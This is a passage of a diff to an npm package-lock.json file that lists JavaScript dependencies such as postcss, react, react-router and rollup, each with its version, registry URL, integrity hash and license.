"https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/outvariant": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/outvariant/-/outvariant-1.4.3.tgz", + "integrity": "sha512-+Sl2UErvtsoajRDKCE5/dBz4DIvHXQQnAxtQTF04OJxY0+DyZXSo5P5Bb7XYWOh81syohlYL24hbDwxedPUJCA==", + "dev": true, + "license": "MIT" + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "dev": true, + "license": "BlueOak-1.0.0" + }, + "node_modules/parse5": { + "version": "7.3.0", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.3.0.tgz", + "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "entities": "^6.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true, + "license": "MIT" + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-scurry/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/path-to-regexp": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz", + "integrity": "sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/pathe": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz", + "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/pathval": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pathval/-/pathval-2.0.1.tgz", + "integrity": "sha512-//nshmD55c46FuFw26xV/xFAaB5HF9Xdap7HJBBnrKdAd6/GxDBaNA1870O79+9ueg61cZLSVc+OaFlfmObYVQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.16" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/pirates": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz", + "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/postcss": { + "version": "8.5.15", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz", + "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-js": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz", + "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "camelcase-css": "^2.0.1" + }, + "engines": { + "node": "^12 || ^14 || >= 16" + }, + "peerDependencies": { + "postcss": "^8.4.21" + } + }, + "node_modules/postcss-load-config": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-6.0.1.tgz", + "integrity": "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "lilconfig": "^3.1.1" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "jiti": ">=1.21.0", + "postcss": ">=8.0.9", + "tsx": "^4.8.1", + "yaml": "^2.4.2" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + }, + "postcss": { + "optional": true + }, + "tsx": { + "optional": true + }, + "yaml": { + "optional": true + } + } + }, + "node_modules/postcss-nested": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.2.0.tgz", + "integrity": "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.1.1" + }, + "engines": { + "node": ">=12.0" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/react": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react/-/react-18.3.1.tgz", + "integrity": "sha512-wS+hAgJShR0KhEvPJArfuPVN1+Hz1t0Y6n5jLrGQbkb4urgPE/0Rve+1kMB1v/oWgHgm4WIcV+i7F2pTVj+2iQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", + "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.2" + }, + "peerDependencies": { + "react": "^18.3.1" + } + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/react-refresh": { + "version": "0.17.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.17.0.tgz", + "integrity": "sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-router": { + "version": "6.30.4", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.30.4.tgz", + "integrity": "sha512-SVUsDe+DybHM/WmYKIVYhZh1o5Dcuf16yM6WjG02Q9XVFMZIJyHYhwrr6bFBXZkVP6z69kNkMyBCujt8FaFLJA==", + "license": "MIT", + "dependencies": { + "@remix-run/router": "1.23.3" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "react": ">=16.8" + } + }, + "node_modules/react-router-dom": { + "version": "6.30.4", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.30.4.tgz", + "integrity": "sha512-q4HvNl+mmDdkS0g+MqiBZNteQJCuimWoOyHMy4T/RQLAn9Z29+E91QXRaxOujeMl2HTzRSS0KFPd7lxX3PjV0Q==", + "license": "MIT", + "dependencies": { + "@remix-run/router": "1.23.3", + "react-router": "6.30.4" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "react": ">=16.8", + "react-dom": ">=16.8" + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve": { + "version": "1.22.12", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", + "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/rettime": { + "version": "0.11.11", + "resolved": "https://registry.npmjs.org/rettime/-/rettime-0.11.11.tgz", + "integrity": "sha512-ILJRqVWBCTlg9r42fFgwVZx1gnFAcQF8mRoMkbgQfIrjEDf9nbBFDFx00oloOa+Q869FUtaYDXZvEfnecQSCoQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "4.61.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.61.1.tgz", + "integrity": "sha512-I4KW6iuRpuu2uHBLraZ1wNZe0DP7lnRha+VJ9tNaYVaVgKhW0aI3h4RYnoRPeql0flHm/Co55b7snEDcOfOJrA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.9" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.61.1", + "@rollup/rollup-android-arm64": "4.61.1", + "@rollup/rollup-darwin-arm64": "4.61.1", + "@rollup/rollup-darwin-x64": "4.61.1", + "@rollup/rollup-freebsd-arm64": "4.61.1", + "@rollup/rollup-freebsd-x64": "4.61.1", + "@rollup/rollup-linux-arm-gnueabihf": "4.61.1", + "@rollup/rollup-linux-arm-musleabihf": "4.61.1", + "@rollup/rollup-linux-arm64-gnu": "4.61.1", + "@rollup/rollup-linux-arm64-musl": "4.61.1", + "@rollup/rollup-linux-loong64-gnu": "4.61.1", + "@rollup/rollup-linux-loong64-musl": "4.61.1", + "@rollup/rollup-linux-ppc64-gnu": "4.61.1", + "@rollup/rollup-linux-ppc64-musl": "4.61.1", + "@rollup/rollup-linux-riscv64-gnu": "4.61.1", + "@rollup/rollup-linux-riscv64-musl": "4.61.1", + "@rollup/rollup-linux-s390x-gnu": "4.61.1", + "@rollup/rollup-linux-x64-gnu": "4.61.1", + "@rollup/rollup-linux-x64-musl": "4.61.1", + "@rollup/rollup-openbsd-x64": "4.61.1", + "@rollup/rollup-openharmony-arm64": "4.61.1", + "@rollup/rollup-win32-arm64-msvc": "4.61.1", + "@rollup/rollup-win32-ia32-msvc": "4.61.1", + "@rollup/rollup-win32-x64-gnu": "4.61.1", + "@rollup/rollup-win32-x64-msvc": "4.61.1", + "fsevents": "~2.3.2" + } + }, + "node_modules/rrweb-cssom": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.7.1.tgz", + "integrity": "sha512-TrEMa7JGdVm0UThDJSx7ddw5nVm3UJS9o9CCIZ72B1vSyEZoziDqBYP3XIoi/12lKrJR8rE3jeFHMok2F/Mnsg==", + "dev": true, + "license": "MIT" + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/saxes": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", + "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "dev": true, + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=v12.22.7" + } + }, + "node_modules/scheduler": { + "version": "0.23.2", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.2.tgz", + "integrity": "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/set-cookie-parser": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/set-cookie-parser/-/set-cookie-parser-3.1.0.tgz", + "integrity": "sha512-kjnC1DXBHcxaOaOXBHBeRtltsDG2nUiUni+jP92M9gYdW12rsmx92UsfpH7o5tDRs7I1ZZPSQJQGv3UaRfCiuw==", + "dev": true, + "license": "MIT" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", + "dev": true, + "license": "MIT" + }, + "node_modules/strict-event-emitter": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/strict-event-emitter/-/strict-event-emitter-0.5.1.tgz", + "integrity": "sha512-vMgjE/GGEPEFnhFub6pa4FmJBRBVOLpIII2hvCZ8Kzb7K0hlHo7mQv6xYrBvCL2LtAIBwFUK8wvuJgTVSQ5MFQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/string-width-cjs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz", + "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^6.2.2" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/strip-ansi-cjs": { + "name": "strip-ansi", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/strip-indent": { + "version": 